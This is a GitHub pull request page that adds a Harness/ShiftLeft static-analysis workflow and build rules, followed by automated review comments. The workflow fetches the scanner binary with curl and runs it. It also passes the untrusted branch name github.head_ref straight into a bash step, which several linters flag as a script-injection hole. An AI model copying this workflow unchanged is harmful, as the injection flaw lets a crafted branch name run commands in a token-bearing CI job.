Skip to content

Add GitHub Action: Qwiet AI by Harness Static Analysis - #36

Open
LCSOGthb wants to merge 2 commits into
mainfrom
shiftleft-action-config-1785050589
Open

Add GitHub Action: Qwiet AI by Harness Static Analysis#36
LCSOGthb wants to merge 2 commits into
mainfrom
shiftleft-action-config-1785050589

Conversation

@LCSOGthb

@LCSOGthb LCSOGthb commented Jul 26, 2026

Copy link
Copy Markdown
Owner

Qwiet LogoQwiet Logo

This pull request adds a GitHub Action workflow file that executes Harness Static Application Security Testing (SAST) on this PR. Once merged, it will also execute SAST on all future PRs opened in this repository.

Visit app.shiftleft.io to see the security findings for this repository.

We've done a few things on your behalf

  • Created a new branch and opened this pull request
  • Generated a unique secret SHIFTLEFT_ACCESS_TOKEN to allow GitHub Actions in this repository to communicate with the Harness SAST and SCA API
  • Created a GitHub Action that will send this pull request to Harness SAST and SCA for analysis
  • Added a status check that displays the result of the GitHub Action

Questions? Comments? Want to learn more? Get in touch with us or check out our documentation.

Summary by Sourcery

Integrate Harness (Qwiet) SAST/SCA scanning into the repository via a GitHub Actions workflow and enforce basic security build rules.

New Features:

  • Add a GitHub Actions workflow that runs Harness SAST and SCA on pull requests and via manual dispatch.
  • Introduce project-level security build rules that constrain critical, OSS, and container vulnerability findings.

Build:

  • Configure a new workflow to set up Java, download the Harness CLI, and execute static analysis using repository secrets for authentication.

CI:

  • Add a security-focused CI job that analyzes PR changes with Harness SAST/SCA and reports results back to GitHub.

Summary by cubic

Adds a GitHub Action to run Harness (Qwiet) SAST/SCA on every pull request. Includes build rules to block critical and reachable OSS vulnerabilities and limit OSS/container findings.

  • New Features
    • Adds .github/workflows/shiftleft.yml triggered on pull_request and workflow_dispatch.
    • Sets up Java 8, downloads the CLI, and runs sl analyze --strict --wait for app AirMerge with JS/TS scanning.
    • Uses SHIFTLEFT_ACCESS_TOKEN and reports results as a PR status check.
    • Adds shiftleft.yml build rules: no critical findings, max 1 OSS or container finding, and no reachable OSS vulnerabilities.

Written for commit 2a53a81. Summary will update on new commits.

Review in cubic

@codesherlock-ai

Copy link
Copy Markdown

💡 Tip

Want to run additional checks on this PR?

  • Comment @codesherlock-ai analyze owasp to trigger an OWASP Top-10 security analysis.
  • Comment @codesherlock-ai analyze cwe_mitre to trigger a CWE-MITRE mapping analysis.
  • Comment @codesherlock-ai analyze cwe_kev to trigger a CWE-KEV (Known Exploited Vulnerabilities) analysis.

@semanticdiff-com

semanticdiff-com Bot commented Jul 26, 2026

Copy link
Copy Markdown

Review changes with  SemanticDiff

Changed Files
File Status
  .github/workflows/shiftleft.yml  0% smaller
  shiftleft.yml  0% smaller

@cr-gpt

cr-gpt Bot commented Jul 26, 2026

Copy link
Copy Markdown

Seems you are using me but didn't get OPENAI_API_KEY seted in Variables/Secrets for this repo. you could follow readme for more information

@vercel

vercel Bot commented Jul 26, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
airmerge Ready Ready Preview, Comment Jul 26, 2026 7:25am

@rams-design-review

Copy link
Copy Markdown

Rams skipped this PR — Free reviews one repository at a time, and your active repository is LCSOGthb/hub.

Upgrade to Solo — $39/mo to add this repo, or free the slot by removing Rams from that repo via GitHub app settings.

@gemini-code-assist

Copy link
Copy Markdown

Caution

The consumer version of Gemini Code Assist on GitHub has been sunset. All code review activity has officially ceased.

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@codereviewbot-ai

codereviewbot-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🤖 Review complete!


🤖 Reviewed by codereviewbot.ai - Catch bugs before your team does.

@codeant-ai

codeant-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🤖 CodeAnt AI — Review Status

Status Commit Started (UTC) Finished (UTC)
✅ Reviewed your PR 2a53a81 Jul 26, 2026 · 07:23 07:25

@codeant-ai

codeant-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

Thanks for using CodeAnt! 🎉

We're free for open-source projects. if you're enjoying it, help us grow by sharing.

Share on X ·
Reddit ·
LinkedIn

@sourcery-ai

sourcery-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

🧙 Sourcery is reviewing your pull request!


Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@codesherlock-ai

codesherlock-ai Bot commented Jul 26, 2026

Copy link
Copy Markdown

PR Summary

  • Adds a GitHub Actions workflow to run Harness/ShiftLeft SAST & SCA on pull requests and a shiftleft configuration defining build rule thresholds.
File Name Summary of Modifications
.github/workflows/shiftleft.yml New workflow that runs on pull_request and manual trigger: sets up Java 8, downloads the ShiftLeft CLI, and runs sl analyze for app "AirMerge" (tags branch), with env vars for SHIFTLEFT hosts and a required SHIFTLEFT_ACCESS_TOKEN; includes a commented-out check-analysis step for PR gating.
shiftleft.yml New ShiftLeft config (version: 2) adding build_rules: disallow critical findings, allow up to one OSS/container finding, and disallow reachable OSS vulnerabilities (via options).

Impact

  • Introduces SAST/SCA into CI which improves security posture but increases CI runtime and requires network access and a configured SHIFTLEFT_ACCESS_TOKEN secret; may cause PR failures if findings exceed thresholds.

Flow Diagram

+-------------------------------------------+
| Trigger: pull_request / workflow_dispatch |
+-------------------------------------------+
                     │
                 ▼ triggers

+------------------------------+
| Job: NextGen-Static-Analysis |
+------------------------------+
               │
               ▼

├─ runs-on ─►
+-------------------------------+
| GitHub Runner (ubuntu-latest) |
+-------------------------------+


├─ step 1 ─►
+---------------------------+
| Step: actions/checkout@v3 |
+---------------------------+
             │
          ▼ step 2

+-------------------------------------------------+
| Step: Setup Java JDK v8 (actions/setup-java@v3) |
+-------------------------------------------------+
                        │
                     ▼ step 3

+-------------------------------------------+
| Step: Download ShiftLeft CLI (curl -> sl) |
+-------------------------------------------+
                     │
                     ▼

├─ step 4 (runs sl) ─►
+--------------------------------------------------------------------------------------------------------+
| Step: Static Analysis (sl analyze --strict --wait --app AirMerge --tag branch=... --js $(pwd) -- --ts) |
+--------------------------------------------------------------------------------------------------------+
                                                    │
                                                    ▼

├─ references build rules (analysis output) ─►
+----------------------------------------------------------------------------------------------------------+
| File: shiftleft.yml (build_rules: disallow critical, allow 1 OSS/container, disallow reachable OSS vuln) |
+----------------------------------------------------------------------------------------------------------+


├─ would trigger (commented / gated) ─►
+--------------------------------------------------------------------------------+
| Optional/Commented Job: Build-Rules / Validate Build Rules (sl check-analysis) |
+--------------------------------------------------------------------------------+
                                        │
                      ▼ validates against shiftleft.yml rules


├─ uses sl for check-analysis ─►

+-----------------------------------------------------------------------------------+
| Env: SHIFTLEFT_API_HOST / SHIFTLEFT_GRPC_TELEMETRY_HOST / SHIFTLEFT_GRPC_API_HOST |
+-----------------------------------------------------------------------------------+
                                         │
                              ▼ provided to sl analyze


+--------------------------------+
| Secret: SHIFTLEFT_ACCESS_TOKEN |
+--------------------------------+
                │
         ▼ required secret


+----------------------+
| Secret: GITHUB_TOKEN |
+----------------------+
           │
▼ used by check-analysis (if enabled)

@netlify

netlify Bot commented Jul 26, 2026

Copy link
Copy Markdown

Deploy Preview for larme failed.

Name Link
🔨 Latest commit 2a53a81
🔍 Latest deploy log https://app.netlify.com/projects/larme/deploys/6a65b5e6582ba10008fcc8f2

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@coderabbitai

coderabbitai Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

📝 Walkthrough

Summary by CodeRabbit

  • New Features
    • Added automated security scanning for pull requests and manual runs.
    • Enabled static analysis for JavaScript and TypeScript code.
    • Added security policies covering critical findings, open-source and container vulnerabilities, and reachable vulnerabilities.

Walkthrough

Adds ShiftLeft build rules and a GitHub Actions workflow that runs strict SAST and SCA analysis for pull requests and manual dispatches.

Changes

ShiftLeft security analysis

Layer / File(s) Summary
ShiftLeft build rules
shiftleft.yml
Defines version 2 allowance rules for critical findings, OSS/container findings, and reachable OSS vulnerabilities.
Analysis workflow
.github/workflows/shiftleft.yml
Runs on pull requests or manual dispatch, installs Java 8 and the ShiftLeft CLI, then analyzes AirMerge with JavaScript and TypeScript support.
Estimated code review effort: 2 (Simple) ~10 minutes

Sequence Diagram(s)

sequenceDiagram
  participant GitHubActions
  participant ShiftLeftCLI
  participant ShiftLeftService
  GitHubActions->>GitHubActions: Checkout repository and install Java 8
  GitHubActions->>ShiftLeftCLI: Download and run sl analyze
  ShiftLeftCLI->>ShiftLeftService: Submit AirMerge analysis with branch tag
  ShiftLeftService-->>ShiftLeftCLI: Return analysis result
  ShiftLeftCLI-->>GitHubActions: Enforce strict analysis status
Loading

Poem

A rabbit hops through checks so neat,
With scans and rules in bright retreat.
The branches bloom, findings flee,
“Strict analysis!” sings the tree.
SAST and SCA dance free.

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Title check ✅ Passed The title matches the main change: adding a GitHub Action for Harness/Qwiet static analysis.
Description check ✅ Passed The description is clearly about the new Harness SAST/SCA workflow and build rules added in this PR.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch shiftleft-action-config-1785050589
✨ Simplify code
  • Create PR with simplified code
  • Commit simplified code in branch shiftleft-action-config-1785050589

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@what-the-diff

what-the-diff Bot commented Jul 26, 2026

Copy link
Copy Markdown

PR Summary

  • Introduction of a GitHub Actions Workflow: A mechanism has been put in place to coordinate certain tasks automatically within our GitHub platform, ensuring measures are followed consistently. This automated process, technically referred to as a 'workflow', triggers during submission of new code changes and can also be used manually when necessary.

    • A key part of this workflow is a static analysis job; a procedure that checks our code for potential errors or security issues using a tool from a company called ShiftLeft. This will be performed in a secure Java environment.
  • Addition of a New Configuration File: A guidebook of sorts, essentially a file called shiftleft.yml, has been added to instruct the tool on how to carry out the static analysis.

    • This includes specific rules such as:
      • No critical issues can be present.
      • A marginal allowance for certain open source software or container-related issues.
      • Absolutely no tolerance for vulnerabilities in open-source software components that can be reached from an attack.

@guardrails

guardrails Bot commented Jul 26, 2026

Copy link
Copy Markdown

⚠️ We detected 3 security issues in this pull request:

Vulnerable Libraries (3)
Severity Details
N/A pkg:npm/next@15.5.19 (t) upgrade to: 15.5.21,16.2.11
High pkg:npm/postcss@8.4.31 (t) upgrade to: 8.5.18
N/A pkg:npm/sharp@0.34.5 (t) upgrade to: 0.35.0

More info on how to fix Vulnerable Libraries in JavaScript.


👉 Go to the dashboard for detailed results.

📥 Happy? Share your feedback with us.

Comment on lines +12 to +60
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3
with:
distribution: zulu
java-version: 8

- name: Download Harness SAST and SCA CLI
run: |
curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl

- name: Static Analysis
run: |
${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app AirMerge \
--tag branch=${{ github.head_ref }} \
--js $(pwd) -- --ts
env:
SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
SHIFTLEFT_API_HOST: www.shiftleft.io
SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443

# Build-Rules:
# runs-on: ubuntu-latest
# permissions: write-all
# needs: NextGen-Static-Analysis
# steps:
# - uses: actions/checkout@v3
# - name: Download Harness SAST and SCA CLI
# run: |
# curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl
# - name: Validate Build Rules
# run: |
# ${GITHUB_WORKSPACE}/sl check-analysis --app AirMerge \
# --github-pr-number=${{github.event.number}} \
# --github-pr-user=${{ github.repository_owner }} \
# --github-pr-repo=${{ github.event.repository.name }} \
# --github-token=${{ secrets.GITHUB_TOKEN }}
# env:
# # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
#
# SHIFTLEFT_API_HOST: www.shiftleft.io
# SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
#
@sonarqubecloud

Copy link
Copy Markdown

Quality Gate Failed Quality Gate failed

Failed conditions
E Security Rating on New Code (required ≥ A)

See analysis details on SonarQube Cloud

Catch issues before they fail your Quality Gate with our IDE extension SonarQube for IDE

@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Jul 26, 2026

Copy link
Copy Markdown

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Updated (UTC)
❌ Deployment failed
View logs
airmerge 2a53a81 Jul 26 2026, 07:25 AM

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@qltysh

qltysh Bot commented Jul 26, 2026

Copy link
Copy Markdown

❌ 6 blocking issues (6 total)

Tool Category Rule Count
actionlint Lint the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue 2
zizmor Vulnerability overly broad permissions 1
zizmor Vulnerability credential persistence through GitHub Actions artifacts 1
actionlint Lint "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details 1
zizmor Vulnerability code injection via template expansion 1

# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
#


Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

overly broad permissions [zizmor:zizmor/excessive-permissions]

NextGen-Static-Analysis:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found 2 issues:

1. credential persistence through GitHub Actions artifacts [zizmor:zizmor/artipacked]


2. the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue [actionlint:action]

curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl

- name: Static Analysis
run: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details [actionlint:expression]

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app AirMerge \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

code injection via template expansion [zizmor:zizmor/template-injection]

@codacy-production

Copy link
Copy Markdown

Not up to standards ⛔

🔴 Issues 2 critical · 1 medium

Alerts:
⚠ 3 issues (≤ 0 issues of at least minor severity)

Results:
3 new issues

Category Results
ErrorProne 1 medium
Security 2 critical

View in Codacy

NEW Get contextual insights on your PRs based on Codacy's metrics, along with PR and Jira context, without leaving GitHub. Enable AI reviewer
TIP This summary will be updated as you push new changes.

@difflens

difflens Bot commented Jul 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

Comment on lines +38 to +47
# Build-Rules:
# runs-on: ubuntu-latest
# permissions: write-all
# needs: NextGen-Static-Analysis
# steps:
# - uses: actions/checkout@v3
# - name: Download Harness SAST and SCA CLI
# run: |
# curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl
# - name: Validate Build Rules

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: The security enforcement job Build-Rules in the shiftleft.yml workflow is commented out, disabling the security gate that should block pull requests with vulnerabilities.
Severity: CRITICAL

Suggested Fix

Uncomment the Build-Rules job (lines 38-47) in the .github/workflows/shiftleft.yml file to re-enable the sl check-analysis command. This will enforce the defined security rules and block pull requests that introduce new vulnerabilities.

Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.

Location: .github/workflows/shiftleft.yml#L38-L47

Potential issue: The `Build-Rules` job in the `.github/workflows/shiftleft.yml` file,
which is responsible for enforcing security policies by running `sl check-analysis`, is
entirely commented out. While the `NextGen-Static-Analysis` job runs `sl analyze` and
uploads scan results, the enforcement step that would block pull requests based on the
defined security rules is never executed. This effectively disables the security gate,
allowing pull requests with vulnerabilities, including critical ones, to be merged
without being blocked.

Did we get this right? 👍 / 👎 to inform future reviews.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/shiftleft.yml:
- Around line 14-16: Update the actions/checkout and actions/setup-java steps in
the workflow to supported major releases, replacing the mutable version tags
with their corresponding full immutable commit SHAs. Preserve the existing
checkout and Java setup behavior while ensuring both action references use
supported Node-backed releases.
- Around line 38-59: Uncomment and enable the Build-Rules workflow job alongside
the existing analysis job, ensuring it depends on NextGen-Static-Analysis and
invokes sl check-analysis for the analyzed branch or tag. Preserve the required
checkout, CLI download, ShiftLeft environment settings, repository/owner
context, and GitHub token so the checked-in version: 2 rules are evaluated.
- Line 30: Update the ShiftLeft workflow step containing the branch tag so the
attacker-controlled github.head_ref value is passed through GitHub Actions
environment or action input handling rather than interpolated directly into the
Bash script; also provide a safe fallback for workflow_dispatch when no
pull-request branch exists, while preserving the intended branch tag.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro Plus

Run ID: a4233b82-07c2-4f35-9607-4668087e995c

📥 Commits

Reviewing files that changed from the base of the PR and between 1a320b0 and 2a53a81.

📒 Files selected for processing (2)
  • .github/workflows/shiftleft.yml
  • shiftleft.yml
📜 Review details
⏰ Context from checks skipped due to timeout. (15)
  • GitHub Check: CodeQL
  • GitHub Check: semgrep-cloud-platform/scan
  • GitHub Check: Redirect rules - larme
  • GitHub Check: Header rules - larme
  • GitHub Check: Pages changed - larme
  • GitHub Check: cubic · AI code reviewer
  • GitHub Check: Seer Code Review
  • GitHub Check: Sourcery review
  • GitHub Check: guardrails/scan
  • GitHub Check: Codacy Static Code Analysis
  • GitHub Check: gitStream.cm
  • GitHub Check: SonarQube
  • GitHub Check: Kilo Code Review
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
⚠️ CI failures not shown inline (1)

Commit Status: pre-commit.ci - pr: pre-commit.ci - pr

Conclusion: failure

error during ci config
🧰 Additional context used
🪛 actionlint (1.7.12)
.github/workflows/shiftleft.yml

[error] 14-14: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)


[error] 16-16: the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)


[error] 26-26: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 YAMLlint (1.37.1)
.github/workflows/shiftleft.yml

[warning] 6-6: truthy value should be one of [false, true]

(truthy)


[error] 62-62: too many blank lines (2 > 0)

(empty-lines)

🪛 zizmor (1.26.1)
.github/workflows/shiftleft.yml

[warning] 14-14: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 30-30: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 14-14: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)


[error] 16-16: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)


[info] 11-11: workflow or action definition without a name (anonymous-definition): this job

(anonymous-definition)


[warning] 6-8: insufficient job-level concurrency limits (concurrency-limits): workflow is missing concurrency setting

(concurrency-limits)

🔇 Additional comments (1)
shiftleft.yml (1)

1-15: LGTM!

Comment on lines +14 to +16
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

for ref in actions/checkout@v6 actions/setup-java@v5; do
  repo="${ref%@*}"
  tag="${ref#*@}"
  object="$(gh api "repos/${repo}/git/ref/tags/${tag}")"
  sha="$(jq -r '.object.sha' <<<"$object")"

  if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
    sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
  fi

  printf '%s@%s\n' "$repo" "$sha"
done

Repository: LCSOGthb/AirMerge

Length of output: 273


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

echo "Workflow lines 1-70:"
sed -n '1,70p' .github/workflows/shiftleft.yml

echo
echo "All action pins in workflow:"
rg -n 'uses:\s*[^#]+' .github/workflows/shiftleft.yml || true

echo
echo "Resolve current pins:"
for ref in actions/checkout@v3 actions/setup-java@v3; do
  repo="${ref%@*}"
  tag="${ref#*@}"
  object="$(gh api "repos/${repo}/git/ref/tags/${tag}" 2>/dev/null || true)"
  if [ -z "$object" ]; then
    echo "$ref: ref not found"
    continue
  fi
  sha="$(jq -r '.object.sha' <<<"$object")"
  if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
    sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
  fi
  printf '%s -> %s\n' "$ref" "$sha"
done

echo
echo "Latest major refs (if present):"
for repo in actions/checkout actions/setup-java; do
  for tag in v3 v4 v5 v6; do
    object="$(gh api "repos/${repo}/git/ref/tags/${tag}" 2>/dev/null || true)"
    if [ -n "$object" ]; then
      sha="$(jq -r '.object.sha' <<<"$object")"
      if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
        sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
      fi
      printf '%s@%s -> %s\n' "$repo" "$tag" "$sha"
    else
      printf '%s@%s: not found\n' "$repo" "$tag"
    fi
  done
done

Repository: LCSOGthb/AirMerge

Length of output: 3021


🌐 Web query:

GitHub Actions runner support actions checkout v3 v4 actions setup-java v3 v4 deprecated

💡 Result:

The actions actions/checkout@v3 and actions/setup-java@v3 are effectively deprecated because they rely on older Node.js runtimes (typically Node.js 16), which are no longer supported by GitHub Actions [1]. GitHub has migrated official actions to newer Node.js versions (Node.js 20 or Node.js 24) to comply with runtime deprecation policies [2][3][1]. Key details for your upgrade: 1. actions/checkout: You should upgrade to actions/checkout@v4 [4][1]. Version 4 is the current stable major version, which utilizes updated Node.js runtimes and includes various improvements [5][6]. 2. actions/setup-java: Version 3 is deprecated due to its reliance on Node.js 16 [1]. You should migrate to the latest major version (currently v5 or later) [2][3]. Note that newer versions like v5 and v6 include breaking changes, such as upgrades to the underlying Node.js runtime and adjustments to input names for environment variables [2][3]. It is recommended to check the official repository release notes for both actions to ensure you account for any breaking changes introduced between your current versions and the latest versions [7][2][3].

Citations:


Pin supported action releases to immutable SHAs.

actions/checkout@v3 and actions/setup-java@v3 still resolve to Node 16-backed actions; migration to supported majors and pinning the full commit SHAs keeps this workflow from depending on deprecated mutable tags.

🧰 Tools
🪛 actionlint (1.7.12)

[error] 14-14: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)


[error] 16-16: the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)

🪛 zizmor (1.26.1)

[warning] 14-14: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 14-14: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)


[error] 16-16: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/shiftleft.yml around lines 14 - 16, Update the
actions/checkout and actions/setup-java steps in the workflow to supported major
releases, replacing the mutable version tags with their corresponding full
immutable commit SHAs. Preserve the existing checkout and Java setup behavior
while ensuring both action references use supported Node-backed releases.

Source: Linters/SAST tools

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app AirMerge \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Do not interpolate the PR branch name into Bash.

github.head_ref is attacker-controlled and is substituted before the shell runs, allowing a crafted branch name to execute commands in this token-bearing step. It is also unavailable for workflow_dispatch, producing an empty branch tag. (docs.github.com)

Proposed fix
 jobs:
   NextGen-Static-Analysis:
     runs-on: ubuntu-latest
+    env:
+      PR_BRANCH: ${{ github.head_ref || github.ref_name }}
     steps:
...
-          --tag branch=${{ github.head_ref }} \
+          --tag "branch=$PR_BRANCH" \
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
--tag branch=${{ github.head_ref }} \
--tag "branch=$PR_BRANCH" \
🧰 Tools
🪛 zizmor (1.26.1)

[error] 30-30: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/shiftleft.yml at line 30, Update the ShiftLeft workflow
step containing the branch tag so the attacker-controlled github.head_ref value
is passed through GitHub Actions environment or action input handling rather
than interpolated directly into the Bash script; also provide a safe fallback
for workflow_dispatch when no pull-request branch exists, while preserving the
intended branch tag.

Source: Linters/SAST tools

Comment on lines +38 to +59
# Build-Rules:
# runs-on: ubuntu-latest
# permissions: write-all
# needs: NextGen-Static-Analysis
# steps:
# - uses: actions/checkout@v3
# - name: Download Harness SAST and SCA CLI
# run: |
# curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl
# - name: Validate Build Rules
# run: |
# ${GITHUB_WORKSPACE}/sl check-analysis --app AirMerge \
# --github-pr-number=${{github.event.number}} \
# --github-pr-user=${{ github.repository_owner }} \
# --github-pr-repo=${{ github.event.repository.name }} \
# --github-token=${{ secrets.GITHUB_TOKEN }}
# env:
# # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
#
# SHIFTLEFT_API_HOST: www.shiftleft.io
# SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
# SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== files =="
